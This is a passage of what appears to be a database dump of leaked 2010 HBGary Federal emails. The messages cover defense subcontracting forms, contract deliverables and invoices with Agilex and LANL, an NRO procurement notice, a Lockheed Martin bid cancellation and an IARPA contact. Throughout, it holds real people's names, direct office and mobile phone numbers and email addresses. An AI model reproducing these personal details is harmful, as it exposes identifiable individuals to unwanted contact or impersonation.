Subcontracts Administrator\r\n>\r\n> ManTech Mission, Cyber, Technology, and Solutions Group\r\n>\r\n> 7799 Leesburg Pike, Ste 700 South\r\n>\r\n> Falls Church, VA 22043\r\n>\r\n> (P) 703-485-8010\r\n>\r\n> (F) 703-847-0486\r\n>\r\n>\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary. Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',766,'aaron_hbgary_com/766.html'),(11688,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008792.M906730P14101Q6543.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: SF 328 and KMPL','Once you send me the forms back I will sign where I need to and pass\r\nalong to steve.\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Ted Vera \r\nDate: Mon, Sep 13, 2010 at 11:40 AM\r\nSubject: Re: SF 328 and KMPL\r\nTo: \"Ott, Stephen D\" \r\n\r\n\r\nHello Steve,\r\n\r\nWe\'ve completed the forms and routed it for signatures.  You\'ll have\r\nthe signed forms later today.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Sat, Sep 11, 2010 at 11:33 AM, Ott, Stephen D\r\n wrote:\r\n> Gatorbait Team,\r\n>\r\n>\r\n>\r\n> Good afternoon.  I will be working on a complete checklist for items needed\r\n> from subcontractors.  However, I don’t want to delay in getting some of\r\n> these items to you.\r\n>\r\n>\r\n>\r\n> So, in accordance with L-5, V, 1.4 and 1.5, please complete the attached SF\r\n> 328 and KMPL if applicable/necessary.  If you believe these items are not\r\n> applicable or not necessary for your company, please provide an email\r\n> stating that and briefly explaining why.  If you prefer, you can provide\r\n> them in sealed envelopes as the data is sensitive and PII.\r\n>\r\n>\r\n>\r\n> Please let us know if you have any questions.  If you do, please include\r\n> Penny Zimmerman and Linda Thompson on the email as well.\r\n>\r\n>\r\n>\r\n> Thank you for your assistance.\r\n>\r\n>\r\n>\r\n> Regards,\r\n>\r\n> Steve\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Stephen Ott\r\n>\r\n> Principal Subcontracts Administrator\r\n>\r\n> ManTech Mission, Cyber, Technology, and Solutions Group\r\n>\r\n> 7799 Leesburg Pike, Ste 700 South\r\n>\r\n> Falls Church, VA 22043\r\n>\r\n> (P) 703-485-8010\r\n>\r\n> (F) 703-847-0486\r\n>\r\n>\r\n>\r\n> **PROPRIETARY & COMPANY-CONFIDENTIAL**\r\n>\r\n> This email and the contents of this email (including any attachments) are\r\n> company-confidential and/or proprietary. Unless you are the addressee (or\r\n> authorized to receive for the addressee), you may not use, copy, disclose or\r\n> distribute this email or any of the contents of this email.  If you received\r\n> this email in error, please promptly notify the sender by reply email and\r\n> delete this email from your records.  Thank you.\r\n>\r\n>\r\n\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',2700,'aaron_hbgary_com/2700.html'),(11689,'2010-09-13','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008793.M116487P14101Q6544.eml','aaron@hbgary.com,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"Bruce Friedman\" <bruce.friedman@ngc.com>,\"John Fanguy\" <jfanguy@digitalmanagement.com>,jwootton@palantir.com,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"Martin Fertal\" <Martin.Fertal@TASC.com>,msteckman@palantir.com,patricia.krajeski@tasc.com,\"Paul Meaney\" <paul.meaney@ngc.com>,paul.kuttner@tasc.com,rob.wilson@telos.com,robert.sanderson@telos.com,sondra.spalding@tasc.com,ted@hbgary.com,tom.leahy@telos.com,tom.ryder@telos.com,\"William E. Miller\" <wmiller@digitalmanagement.com>,\"William Luti\" <wluti@digitalmanagement.com>','Thanks','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks to everyone for all the help over the 6 weeks\r\npreparing our response.\r\n\r\n&nbsp;\r\n\r\nOur team&#8217;s response went in last week at 1pm, and we\r\nreceived email receipts soon after.\r\n\r\n&nbsp;\r\n\r\nWe&#8217;ll let you know if/when we hear any news or rumors,\r\nand of course please do the same.\r\n\r\n&nbsp;\r\n\r\nBest regards,\r\n\r\n&nbsp;\r\n\r\n-John\r\n\r\n&nbsp;\r\n\r\nJohn\r\nFanguy\r\n\r\nVP\r\nCivilian Programs\r\n\r\nDigital\r\nManagement, Inc.\r\n\r\n&quot;Leading Government Transformation&quot;\r\n\r\nGSA 8(a) STARS &#8211; ALLIANT SB - GSA MOBIS\r\n\r\n--------------------------------------------------\r\n\r\n6701\r\nDemocracy Blvd, Suite 500\r\nBethesda, Maryland 20817\r\n301-346-6749\r\ncell\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6871,'aaron_hbgary_com/6871.html'),(11690,'2010-09-13','arc@westfields.net','/aaron@hbgary.com/new/1297008793.M337948P14101Q6545.eml','federal@hbgary.com','SO Sole Source Business Opportunity Posting','\r\nThe NRO/SO Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP. The Effort Type is Hardware.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',12981,'aaron_hbgary_com/12981.html'),(11691,'2010-09-13','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008793.M543395P14101Q6546.eml','\"Jerry McClure\" <Jerry.McClure@agilex.com>,\"Jerry McClure\" <Jerry.McClure@agilex.com>,','Re: Final Deliverables','Hello Jerry & Paul,\r\n\r\nJust want to confirm that you received the final deliverables and\r\ninvoice.  Please don\'t hesitate to contact me if you need anything\r\nelse.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Fri, Sep 10, 2010 at 1:13 PM, Ted Vera  wrote:\r\n> Jerry,\r\n>\r\n> Attached is the invoice and all supporting documentation (including\r\n> CDRLs).  Please let me know if there is anything else you need from\r\n> us.  It was a pleasure working with you.  I look forward to other\r\n> opportunities to team with Agilex.\r\n>\r\n> Paul, are the attached receipts (pdf\'s) acceptable, or do I need to\r\n> send in original hard-copies?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n> On Thu, Sep 9, 2010 at 3:37 PM, Jerry McClure  wrote:\r\n>> Ted - This is the approval we needed for the deliverable.  Please send me HbGary hours and travel receipts so we can bill LANL.  Great job by you and Mark as LANL felt this was a good job.  Thanks\r\n>>\r\n>> ________________________________________\r\n>> From: Taylor, David A [dataylor@lanl.gov]\r\n>> Sent: Thursday, September 09, 2010 1:05 PM\r\n>> To: Ted Vera; Jerry McClure\r\n>> Cc: Martinez, Timmy L; Villareal, Terri L\r\n>> Subject: RE: Final Deliverables\r\n>>\r\n>> Everything looks good to me.\r\n>> I will work with purchasing to get the PO received so that it can be invoiced.\r\n>>\r\n>> Thanks.\r\n>>\r\n>> dat\r\n>>\r\n>> -----Original Message-----\r\n>> From: Taylor, David A\r\n>> Sent: Thursday, September 09, 2010 10:05 AM\r\n>> To: \'Ted Vera\'\r\n>> Cc: Jerry McClure; \'Martinez, Timmy L\'\r\n>> Subject: RE: Final Deliverables\r\n>>\r\n>> From Tues 3:09P?\r\n>>\r\n>> They were thrown in my junk mail.\r\n>> That\'s cyber security for you.\r\n>> I need a couple of hours to review.\r\n>>\r\n>> Thanks.\r\n>>\r\n>> dat\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Thursday, September 09, 2010 8:52 AM\r\n>> To: Taylor, David A\r\n>> Cc: Jerry McClure\r\n>> Subject: Re: Final Deliverables\r\n>>\r\n>> Hi David,\r\n>>\r\n>> In the message thread below I sent the finals, can you double check\r\n>> that you received them? I can resend if you did not.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Sep 9, 2010, at 8:36 AM, \"Taylor, David A\"  wrote:\r\n>>\r\n>>> I have yet to receive the final documents.\r\n>>> I only have the drafts.\r\n>>>\r\n>>> dat\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Jerry McClure [mailto:Jerry.McClure@agilex.com]\r\n>>> Sent: Thursday, September 09, 2010 4:15 AM\r\n>>> To: \'Ted Vera\'; Taylor, David A\r\n>>> Subject: RE: Final Deliverables\r\n>>>\r\n>>> David - Any issue in not approving these deliverables?  Thanks\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 5:08 PM\r\n>>> To: dataylor@lanl.gov\r\n>>> Cc: Jerry McClure\r\n>>> Subject: Final Deliverables\r\n>>>\r\n>>> Hello David,\r\n>>>\r\n>>> Attached are the final contract deliverables as specified below:\r\n>>>\r\n>>> Contract Deliverables:\r\n>>> 1:  Written review of the proposed solution with suggestions for improvements.\r\n>>> 2:  Red Team Review, renamed \"Security Assessment Review\", as requested.\r\n>>> 3:  Final report with recommendations and analysis of the potential vulnerabilities.\r\n>>>\r\n>>> Please review and reply to all with a statement that these are accepted as final.\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>\r\n',3183,'aaron_hbgary_com/3183.html'),(11692,'2010-09-13','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008793.M747451P14101Q6547.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,','RE: Final Deliverables','Ted - Agilex approve this invoice and expenses. \r\n\r\nPaul - We are good to pay HbGary and to invoice LANL.  Thanks \r\n\r\n________________________________________\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Friday, September 10, 2010 3:13 PM\r\nTo: Jerry McClure\r\nCc: Paul Burkard (BIC); Barr Aaron\r\nSubject: Re: Final Deliverables\r\n\r\nJerry,\r\n\r\nAttached is the invoice and all supporting documentation (including\r\nCDRLs).  Please let me know if there is anything else you need from\r\nus.  It was a pleasure working with you.  I look forward to other\r\nopportunities to team with Agilex.\r\n\r\nPaul, are the attached receipts (pdf\'s) acceptable, or do I need to\r\nsend in original hard-copies?\r\n\r\nRegards,\r\nTed\r\n\r\n\r\n--\r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n\r\n\r\n\r\n\r\nOn Thu, Sep 9, 2010 at 3:37 PM, Jerry McClure  wrote:\r\n> Ted - This is the approval we needed for the deliverable.  Please send me HbGary hours and travel receipts so we can bill LANL.  Great job by you and Mark as LANL felt this was a good job.  Thanks\r\n>\r\n> ________________________________________\r\n> From: Taylor, David A [dataylor@lanl.gov]\r\n> Sent: Thursday, September 09, 2010 1:05 PM\r\n> To: Ted Vera; Jerry McClure\r\n> Cc: Martinez, Timmy L; Villareal, Terri L\r\n> Subject: RE: Final Deliverables\r\n>\r\n> Everything looks good to me.\r\n> I will work with purchasing to get the PO received so that it can be invoiced.\r\n>\r\n> Thanks.\r\n>\r\n> dat\r\n>\r\n> -----Original Message-----\r\n> From: Taylor, David A\r\n> Sent: Thursday, September 09, 2010 10:05 AM\r\n> To: \'Ted Vera\'\r\n> Cc: Jerry McClure; \'Martinez, Timmy L\'\r\n> Subject: RE: Final Deliverables\r\n>\r\n> From Tues 3:09P?\r\n>\r\n> They were thrown in my junk mail.\r\n> That\'s cyber security for you.\r\n> I need a couple of hours to review.\r\n>\r\n> Thanks.\r\n>\r\n> dat\r\n>\r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com]\r\n> Sent: Thursday, September 09, 2010 8:52 AM\r\n> To: Taylor, David A\r\n> Cc: Jerry McClure\r\n> Subject: Re: Final Deliverables\r\n>\r\n> Hi David,\r\n>\r\n> In the message thread below I sent the finals, can you double check\r\n> that you received them? I can resend if you did not.\r\n>\r\n> Ted\r\n>\r\n> On Sep 9, 2010, at 8:36 AM, \"Taylor, David A\"  wrote:\r\n>\r\n>> I have yet to receive the final documents.\r\n>> I only have the drafts.\r\n>>\r\n>> dat\r\n>>\r\n>> -----Original Message-----\r\n>> From: Jerry McClure [mailto:Jerry.McClure@agilex.com]\r\n>> Sent: Thursday, September 09, 2010 4:15 AM\r\n>> To: \'Ted Vera\'; Taylor, David A\r\n>> Subject: RE: Final Deliverables\r\n>>\r\n>> David - Any issue in not approving these deliverables?  Thanks\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Tuesday, September 07, 2010 5:08 PM\r\n>> To: dataylor@lanl.gov\r\n>> Cc: Jerry McClure\r\n>> Subject: Final Deliverables\r\n>>\r\n>> Hello David,\r\n>>\r\n>> Attached are the final contract deliverables as specified below:\r\n>>\r\n>> Contract Deliverables:\r\n>> 1:  Written review of the proposed solution with suggestions for improvements.\r\n>> 2:  Red Team Review, renamed \"Security Assessment Review\", as requested.\r\n>> 3:  Final report with recommendations and analysis of the potential vulnerabilities.\r\n>>\r\n>> Please review and reply to all with a statement that these are accepted as final.\r\n>>\r\n>> Regards,\r\n>> Ted',10539,'aaron_hbgary_com/10539.html'),(11693,'2010-09-13','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008793.M946327P14101Q6548.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','RE: Final Deliverables','We did and I approved.  Thanks\r\n\r\n________________________________________\r\nFrom: Ted Vera [ted@hbgary.com]\r\nSent: Monday, September 13, 2010 4:01 PM\r\nTo: Jerry McClure\r\nCc: Paul Burkard (BIC); Barr Aaron\r\nSubject: Re: Final Deliverables\r\n\r\nHello Jerry & Paul,\r\n\r\nJust want to confirm that you received the final deliverables and\r\ninvoice.  Please don\'t hesitate to contact me if you need anything\r\nelse.\r\n\r\nRegards,\r\nTed\r\n\r\n\r\nOn Fri, Sep 10, 2010 at 1:13 PM, Ted Vera  wrote:\r\n> Jerry,\r\n>\r\n> Attached is the invoice and all supporting documentation (including\r\n> CDRLs).  Please let me know if there is anything else you need from\r\n> us.  It was a pleasure working with you.  I look forward to other\r\n> opportunities to team with Agilex.\r\n>\r\n> Paul, are the attached receipts (pdf\'s) acceptable, or do I need to\r\n> send in original hard-copies?\r\n>\r\n> Regards,\r\n> Ted\r\n>\r\n>\r\n> --\r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n>\r\n>\r\n>\r\n>\r\n> On Thu, Sep 9, 2010 at 3:37 PM, Jerry McClure  wrote:\r\n>> Ted - This is the approval we needed for the deliverable.  Please send me HbGary hours and travel receipts so we can bill LANL.  Great job by you and Mark as LANL felt this was a good job.  Thanks\r\n>>\r\n>> ________________________________________\r\n>> From: Taylor, David A [dataylor@lanl.gov]\r\n>> Sent: Thursday, September 09, 2010 1:05 PM\r\n>> To: Ted Vera; Jerry McClure\r\n>> Cc: Martinez, Timmy L; Villareal, Terri L\r\n>> Subject: RE: Final Deliverables\r\n>>\r\n>> Everything looks good to me.\r\n>> I will work with purchasing to get the PO received so that it can be invoiced.\r\n>>\r\n>> Thanks.\r\n>>\r\n>> dat\r\n>>\r\n>> -----Original Message-----\r\n>> From: Taylor, David A\r\n>> Sent: Thursday, September 09, 2010 10:05 AM\r\n>> To: \'Ted Vera\'\r\n>> Cc: Jerry McClure; \'Martinez, Timmy L\'\r\n>> Subject: RE: Final Deliverables\r\n>>\r\n>> From Tues 3:09P?\r\n>>\r\n>> They were thrown in my junk mail.\r\n>> That\'s cyber security for you.\r\n>> I need a couple of hours to review.\r\n>>\r\n>> Thanks.\r\n>>\r\n>> dat\r\n>>\r\n>> -----Original Message-----\r\n>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>> Sent: Thursday, September 09, 2010 8:52 AM\r\n>> To: Taylor, David A\r\n>> Cc: Jerry McClure\r\n>> Subject: Re: Final Deliverables\r\n>>\r\n>> Hi David,\r\n>>\r\n>> In the message thread below I sent the finals, can you double check\r\n>> that you received them? I can resend if you did not.\r\n>>\r\n>> Ted\r\n>>\r\n>> On Sep 9, 2010, at 8:36 AM, \"Taylor, David A\"  wrote:\r\n>>\r\n>>> I have yet to receive the final documents.\r\n>>> I only have the drafts.\r\n>>>\r\n>>> dat\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Jerry McClure [mailto:Jerry.McClure@agilex.com]\r\n>>> Sent: Thursday, September 09, 2010 4:15 AM\r\n>>> To: \'Ted Vera\'; Taylor, David A\r\n>>> Subject: RE: Final Deliverables\r\n>>>\r\n>>> David - Any issue in not approving these deliverables?  Thanks\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Ted Vera [mailto:ted@hbgary.com]\r\n>>> Sent: Tuesday, September 07, 2010 5:08 PM\r\n>>> To: dataylor@lanl.gov\r\n>>> Cc: Jerry McClure\r\n>>> Subject: Final Deliverables\r\n>>>\r\n>>> Hello David,\r\n>>>\r\n>>> Attached are the final contract deliverables as specified below:\r\n>>>\r\n>>> Contract Deliverables:\r\n>>> 1:  Written review of the proposed solution with suggestions for improvements.\r\n>>> 2:  Red Team Review, renamed \"Security Assessment Review\", as requested.\r\n>>> 3:  Final report with recommendations and analysis of the potential vulnerabilities.\r\n>>>\r\n>>> Please review and reply to all with a statement that these are accepted as final.\r\n>>>\r\n>>> Regards,\r\n>>> Ted\r\n>',16670,'aaron_hbgary_com/16670.html'),(11694,'2010-09-13','\"Shaw, Jane E\" <jane.e.shaw@lmco.com>','/aaron@hbgary.com/new/1297008794.M149605P14101Q6549.eml','','Duality Cancelation Notice','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood\r\nAfternoon,\r\n\r\n&nbsp;\r\n\r\nLockheed\r\nMartin appreciates your interest in bidding on the Duality Task Order under the\r\nUNO Program.&nbsp; All the technical volumes received were reviewed by Lockheed\r\nMartin.&nbsp; After further consultation and feedback from the Sponsor, the Sponsor\r\ndecided to cancel this task order.&nbsp; &nbsp;If at a future date, the Sponsor\r\ndecides to re-issue the RFP, the bidding process will start again with all\r\nbidders welcome.&nbsp;&nbsp; Again, we appreciate your interest in working on\r\nthis project. \r\n\r\n&nbsp;\r\n\r\nBest\r\nRegards,\r\n\r\nJane\r\nShaw\r\n\r\nLockheed\r\nMartin Corporation\r\n\r\nInformation\r\nSystems &amp; Global Services\r\n\r\nSubcontract\r\nAdministrator, Senior Staff\r\n\r\n13560\r\nDulles Technology Drive\r\n\r\nHerndon,\r\nVA 20171\r\n\r\n703.466.1304\r\n- Office\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5460,'aaron_hbgary_com/5460.html'),(11695,'2010-09-13','\"Edward J Baranoski\" <edward.j.baranoski@ugov.gov>','/aaron@hbgary.com/new/1297008794.M359421P14101Q6550.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Technical Discussions','Aaron,\r\n\r\nI enjoyed the discussion as well.  I look forward to hearing your ideas.  Please feel free to contact me if you wish to discuss them.\r\n\r\nEd\r\n\r\nDr. Edward J. Baranoski\r\nIntelligence Advanced Research Projects Activity (IARPA)\r\nDirector, Office of Smart Collection\r\nedward.j.baranoski@ugov.gov\r\n301-851-7492\r\n----- Original Message -----\r\nFrom: \"Aaron Barr\" \r\nTo: \"edward j baranoski\" \r\nSent: Monday, September 13, 2010 11:58:36 AM\r\nSubject: Technical Discussions\r\n\r\nEd,\r\n\r\nVery nice to meet you on Friday.  Please pass on my thanks to Dr. Porter as well.\r\n\r\nI was sufficiently excited by our discussions and the areas we are working on in comparison to your organization, and specifically your program goals.  I will likely submit a different ideas against the BAA, but I am going to start with the attribution concept we 